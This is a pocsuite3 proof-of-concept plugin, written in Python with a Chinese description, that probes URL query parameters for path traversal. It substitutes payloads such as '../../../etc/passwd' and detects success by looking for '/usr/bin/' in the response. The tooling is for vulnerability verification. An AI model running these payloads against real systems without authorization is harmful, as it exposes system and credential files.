import copy
from urllib import parse
from pocsuite3.api import POCBase, Output, VUL_TYPE, POC_CATEGORY, register_poc, requests, logger


class PathtraversalParameter(POCBase):
    vulID = '008'
    version = '3'
    author = ['cor0ps']
    vulDate = '2020-06-09'
    createDate = '2020-06-09'
    updateDate = '2020-06-09'
    references = ['']
    name = '参数存在跨目录'
    appName = 'PathTraversal'
    appVersion = 'All'
    appPowerLink = ''
    install_requires = ['']
    vulType = VUL_TYPE.PATH_TRAVERSAL
    desc = '''
           应用程序使用用户可控制的数据，以危险的方式访问位于应用服务器或其它后端文件系统的文件或目录，
           就会出现路径遍历。
           '''
    samples = ['']
    category = POC_CATEGORY.EXPLOITS.REMOTE
    protocol = POC_CATEGORY.PROTOCOL.HTTP

    def _attack(self):
        pass

    def _verify(self):
        result = {}
        #dicvar=['.','../']
        payloads = ['/etc/passwd', '/etc/hosts', '../../../etc/passwd']

        urls = url_para_spilt(self.url, payloads)
        for url in urls:
            response = requests.get(url, headers=self.headers,allow_redirects=False)
            logger.info("url:{},status:{}".format(url,response.status_code))
            if response.status_code == 200 and b'/usr/bin/' in response.content :
                result['VerifyInfo'] = {}
                result['VerifyInfo']['Info'] = self.name
                result['VerifyInfo']['URL'] = self.url
        return self.parse_verify(result)

    def _run(self):
        pass

    def parse_verify(self, result):
        output = Output(self)
        if result:
            output.success(result)
        else:
            output.fail('PathTraversal target is not vulnerable')
        return output


def url_para_spilt(url, payloads):
    ret = []
    u = parse.urlparse(url)
    qs = u.query
    temp_url = url.replace('?' + qs, '')
    qs_dict = dict(parse.parse_qs(qs))
    #exclude={'func','sid','doCheck'}
    for payload in payloads:
        for key in qs_dict.keys():
            temp_dict = copy.deepcopy(qs_dict)
            temp_dict[key] = payload
            query = parse.urlencode(temp_dict)
            ret.append(temp_url + "?" + query)
    return ret


register_poc(PathtraversalParameter)
